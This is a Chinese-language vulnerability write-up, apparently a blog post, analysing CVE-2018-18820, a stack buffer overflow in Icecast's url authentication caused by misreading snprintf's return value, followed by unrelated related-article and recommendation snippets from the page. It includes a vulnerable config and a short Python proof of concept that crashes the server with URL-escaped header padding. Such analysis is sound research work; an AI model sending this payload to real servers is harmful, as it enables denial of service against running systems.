前言

icecast 是一款开源的流媒体服务器 , 当服务器配置了 url 认证时,服务器在处理 HTTP 头部字段时错误的使用了 snprintf 导致栈缓冲区的越界写漏洞( CVE-2018-18820 )。

影响版本

version 2.4.0, 2.4.1, 2.4.2 or 2.4.3

触发条件

配置文件中,对 <mount> 节点配置了 url 认证

了解 snprintf

snprintf 可以控制往目标缓冲区写数据的长度,比 sprintf 要安全一些。不过有些开发者可能会误解它的返回值, 它返回的是格式化解析后形成的字符串的长度(及期望写入目标缓冲区的长度),而不是实际写入 目标缓冲区的内存长度

下面写一个 demo 演示下就清楚了。

#include <stdio.h>
#include <string.h> int main(int argc, char const *argv[])
{
char buf[100] = {0};
char large[2000] = {0};
memset(large, 'k', 1999); int ret = snprintf(buf, 100, "xxx%s", large);
printf("%d\n", ret);
return 0;
}

运行结果

$ gcc test.c -o test -g
$ ./test
2002

可以看到 snprintf 的返回值是 2002 , 这个其实就是 "xxx%s", large 格式化解析生成的字符串的长度,而实际写入 buf 的数据长度为 100 字节。

环境搭建

gitlab 把源码下载下来,然后切换到一个有漏洞的分支,然后编译它。

git clone https://gitlab.xiph.org/xiph/icecast-server.git
cd icecast-server/
git reset a192f696c30635c98a6704451a4d9e5d9668108c --hard
git submodule update --init
./autogen.sh
./configure --with-curl
make -j4
sudo make install

编译完之后生成 src/icecast, 这个就是 icecast-server 的程序。

可以触发漏洞的配置文件(icecast.xml

<icecast>
<location>Earth</location>
<admin>icemaster@localhost</admin>
<hostname>0.0.0.0</hostname> <limits>
<clients>100</clients>
<sources>2</sources>
<queue-size>524288</queue-size>
<client-timeout>30</client-timeout>
<header-timeout>15</header-timeout>
<source-timeout>10</source-timeout>
<burst-size>655355</burst-size>
</limits> <authentication>
<source-password>hackme</source-password>
<relay-password>hackme</relay-password>
<admin-user>admin</admin-user>
<admin-password>hackme</admin-password>
</authentication> <listen-socket>
<port>8000</port>
</listen-socket> <http-headers>
<header name="Access-Control-Allow-Origin" value="*" />
</http-headers> <mount type="normal">
<mount-name>/auth_example.ogg</mount-name>
<authentication>
<role type="url" match-method="get,post,head,options" allow-web="*" deny-admin="*" may-alter="send_error,redirect">
<option name="client_add" value="http://myauthserver.net/notify_listener.php"/>
<option name="client_remove" value="http://myauthserver.net/notify_listener.php"/>
<option name="action_add" value="listener_add"/>
<option name="action_remove" value="listener_remove"/>
<option name="headers" value="x-foo,x-bar"/>
</role>
<role type="anonymous" match-method="get,post,head,options" deny-all="*" />
</authentication>
<event-bindings>
<event type="url" trigger="source-connect">
<option name="url" value="http://myauthserver.net/notify_mount.php" />
<option name="action" value="mount_add" />
</event>
<event type="url" trigger="source-disconnect">
<option name="url" value="http://myauthserver.net/notify_mount.php" />
<option name="action" value="mount_remove" />
</event>
</event-bindings>
</mount> <paths>
<basedir>/usr/local/share/icecast</basedir>
<logdir>/usr/local/var/log/icecast</logdir>
<webroot>/usr/local/share/icecast/web</webroot>
<adminroot>/usr/local/share/icecast/admin</adminroot>
<alias source="/" destination="/status.xsl"/>
</paths> <logging>
<accesslog>access.log</accesslog>
<errorlog>error.log</errorlog>
<loglevel>information</loglevel> <!-- "debug", "information", "warning", or "error" -->
<logsize>10000</logsize> <!-- Max size of a logfile -->
</logging> <security>
<chroot>false</chroot>
</security>
</icecast>

然后使用 -c 参数指定配置文件路径启动服务器

./src/icecast -c icecast.xml

PS: 可能会提示一些目录不存在,手动创建,然后修改权限给程序访问即可。

此时服务器会监听 8000 端口。

漏洞分析

漏洞位于 url_add_client, 下面来分析分析这个函数

首先判断 url->addurl 不能为空,然后取出了一些客户端请求的信息,比如 user-agnet

一开始的配置文件被我删的过多,导致 url->addurl 一直为空,后来通过在源码里面搜索引用的地方发现它其实是从配置文件读取出来的 _

其实就是配置文件的 其中一个 option 节点的值

<option name="client_add"       value="http://myauthserver.net/notify_listener.php"/>

继续往下看

这里首先获取了请求的 url ,服务器的信息,然后把这些信息和之前拿到的 user-agent 使用 snprintf 拼接到 post 缓冲区里,这个缓冲区大小为 4096 。然后把返回值保存到了 post_offset.

接下来程序会从HTTP请求里面取出在配置文件中指定的 header 头部字段 的值。

<option name="headers" value="x-foo,x-bar"/>

在这里就是 x-foox-bar 首部字段的值,取出之后再次使用 snprintf 拼接到 post_offset 里面。

注意到此时 snprintf 的 第一个参数为

post + post_offset

返回值随后也是保存到 post_offset 里面。通过前面的了解,snprintf 的返回值,返回的是 解析格式化字符串后生成的字符串的长度。然后 snprintfheader_valesc 其实就是我们提交的首部字段的值。那我们就可以通过构造超长的 header_valesc 来使得 post_offset 变成一个比较大的值 (超过 post 缓冲区的大小), 这样在下一次调用 snprintf 时,就可以越界写栈上的数据了。

POC 构造

从漏洞位置往上看,发现修改 post_offset 就两处,一处是最开始的时候把 user_agent 拼接到 post

    post_offset = snprintf(post, sizeof (post),
"action=%s&server=%s&port=%d&client=%lu&mount=%s"
"&user=%s&pass=%s&ip=%s&agent=%s",
url->addaction, /* already escaped */
server, port, client->con->id, mount, username,
password, ipaddr, user_agent);

第二次就是漏洞点

header_valesc = util_url_escape (header_val);
post_offset += snprintf(post + post_offset,
sizeof(post) - post_offset,
"&%s%s=%s",
url->prefix_headers ? url->prefix_headers : "",
cur_header, header_valesc);

开始想着直接发 超长的字符过去就行了,测试发现服务器对数据包的最大长度有限制(大概是 4000 字节左右),发太长的数据包,服务器直接拒绝掉了。

$ python poc.py
Traceback (most recent call last):
File "poc.py", line 11, in <module>
r = requests.get("http://localhost:8000/auth_example.ogg", headers=headers)
File "/usr/local/lib/python2.7/dist-packages/requests/api.py", line 72, in get
return request('get', url, params=params, **kwargs)
File "/usr/local/lib/python2.7/dist-packages/requests/api.py", line 58, in request
return session.request(method=method, url=url, **kwargs)
File "/usr/local/lib/python2.7/dist-packages/requests/sessions.py", line 508, in request
resp = self.send(prep, **send_kwargs)
File "/usr/local/lib/python2.7/dist-packages/requests/sessions.py", line 618, in send
r = adapter.send(request, **kwargs)
File "/usr/local/lib/python2.7/dist-packages/requests/adapters.py", line 490, in send
raise ConnectionError(err, request=request)
requests.exceptions.ConnectionError: ('Connection aborted.', error(104, 'Connection reset by peer'))

这样的话其实是触发不了漏洞的(长度不够导致 post_offset 值也不够大)。

下面就在思考该怎么把长度凑够。

方法一

可以发现在第一次调 snprintf 时,把配置文件中的项拼接进去了( url->addaction), 第二次的调用会把配置文件中配置的 首部字段名 也拼接进去, 那修改配置文件,把这些项设置的长一些应该可以凑够越界的长度(估计漏洞作者就是这样干的)。

https://gitlab.xiph.org/xiph/icecast-server/issues/2342

方法二

最开始看代码时忽视了一个函数 util_url_escape , 发现从 HTTP 请求里面取出的数据 (user_agent 和 首部的值) 都会先用这个函数 处理一遍,然后去做拼接,测试发现这个函数是一个 url 编码函数。

我们知道一些特殊字符会 url 编码成 3 个字符,比如 # 就会被编码成 %23 .

所以我们可以用 会被 url 编码的特殊字符来让 post_offset 值足够超过 post 的大小,然后后面的调用就会触发越界写了。

poc

#!/usr/bin/env python
# encoding: utf-8
import requests # 会把 # url 编码(%23),从而产生 3 倍的 字符
payload = "#" * 1000
headers = {}
headers['user-agent'] = payload
headers['x-foo'] = payload
headers['x-bar'] = payload
r = requests.get("http://localhost:8000/auth_example.ogg", headers=headers)

会修改掉一些栈上的数据,导致 服务器crash

CVE-2018-18820 icecast 栈缓冲区越界写漏洞分析的更多相关文章

  1. CVE-2018-15688 systemd dhcp6组件越界写漏洞分析

    编译的话 , 用 ubuntu 18.10, 没有 patch 的源码下载路径 https://codeload.github.com/poettering/systemd/zip/3941f8329 ...

  2. Netatalk CVE-2018–1160 越界访问漏洞分析

    编译安装 首先下载带有漏洞的源代码 https://sourceforge.net/projects/netatalk/files/netatalk/3.1.11/ 安装一些依赖库(可能不全,到时根据 ...

  3. 【转帖】intel 2018年1 月2号爆出漏洞分析 知乎匿名用户

    作者:匿名用户链接:https://www.zhihu.com/question/265012502/answer/288407097来源:知乎著作权归作者所有.商业转载请联系作者获得授权,非商业转载 ...

  4. 简单尝试利用维控LeviStudioU的一栈缓冲区溢出漏洞

    这是别人给我发的,让我分析一下,看能否写出exp.只怪自己水平不够,最后没能写出exp,以下为自己的分析思路 环境为win10 pro x64 英文版(10.0.16299) 默认安全配置 一.漏洞分 ...

  5. cve-2010-3333 Microsoft Office Open XML文件格式转换器栈缓冲区溢出漏洞 分析

    用的是泉哥的POC来调的这个漏洞 0x0 漏洞调试    Microsoft Office Open XML文件格式转换器栈缓冲区溢出漏洞 Microsoft Office 是微软发布的非常流行的办公 ...

  6. STATUS_STACK_BUFFER_OVERRUN不一定是栈缓冲区溢出

    STATUS_STACK_BUFFER_OVERRUN异常一般是指栈缓冲区溢出的溢出,代码为0xC0000409,消息提示一般为“Security check failure or stack buf ...

  7. 漏洞分析:CVE 2021-3156

    漏洞分析:CVE 2021-3156 漏洞简述 漏洞名称:sudo堆溢出本地提权 漏洞编号:CVE-2021-3156 漏洞类型:堆溢出 漏洞影响:本地提权 利用难度:较高 基础权限:需要普通用户权限 ...

  8. STM32下FatFs的移植,实现了坏块管理,硬件ECC,ECC纠错,并进行擦写均衡分析

    最近因项目需要,做一个数据采集的单片机平台.需要移植 FatFs .现在把最后成果贴上来. 1.摘要 在 STM32 单片机上,成功移植 FatFs 0.12b,使用的 Nand Flash 芯片为 ...

  9. Java性能分析之线程栈详解与性能分析

    Java性能分析之线程栈详解 Java性能分析迈不过去的一个关键点是线程栈,新的性能班级也讲到了JVM这一块,所以本篇文章对线程栈进行基础知识普及以及如何对线程栈进行性能分析. 基本概念 线程堆栈也称 ...

随机推荐

  1. 在matlab中实现梯度下降法

    梯度下降法的原理,本文不再描述,请参阅其它资料. 梯度下降法函数function [k ender]=steepest(f,x,e),需要三个参数f.x和e,其中f为目标函数,x为初始点,e为终止误差 ...

  2. Java操作word文档使用JACOB和POI操作word,Excel,PPT需要的jar包

    可参考文档: http://wibiline.iteye.com/blog/1725492 下载jar包 http://download.csdn.net/download/javashixiaofe ...

  3. gdb调试正在运行的程序

    1.ps aux | grep mxx.exe 查找可执行程序的进程id 2.gdb attach pid attach可执行程序的进程pid 3.continue/c 或者continue or c ...

  4. GitLab 修改主机名,更换 IP 配置,配置 SMTP

    # find / -name gitlab.yml /opt/gitlab/embedded/service/gitlab-rails/config/gitlab.yml /var/opt/gitla ...

  5. Jfinal QuartzPlugin 简单使用案例

    之前一直使用spring quartz感觉还挺好用的,就想着jfinal是不是也可以使用quartz插件,于是发现了QuartzPlugin和jfinal-scheduler<参考:https: ...

  6. 怎么样imageview实现铺满全屏

    <ImageView android:layout_width="match_parent" android:layout_height="match_parent ...

  7. 【java初探】——格式化字符串

    String 类的静态方法format()方法用于创建格式化字符串,format()方法有两种重载形式: format(String fromat,Object...args) 该方法使用指定的格式字 ...

  8. Tomcat学习总结(1)——Tomcat入门教程

    一.打包JavaWeb应用 在Java中,使用"jar"命令来对将JavaWeb应用打包成一个War包,jar命令的用法如下: 范例:将JavaWebDemoProject这个Ja ...

  9. Eclipse和Myeclipse的Properties插件(解决properties文件乱码)

    资源链接:链接:https://pan.baidu.com/s/13M2ovUUXLfOENFoD17MLng 密码:zvo9 插件安装: 解压后得到features.Plugins两个文件将他们放入 ...

  10. multiset多重集合容器(常用的使用方法总结)

    关于C++STL中multiset集合容器的学习,看别人的代码一百遍,不如自己动手写一遍. multiset多重集合容器和set集合容器的使用方法大多相同,不同的是multiset多重集合容器允许重复 ...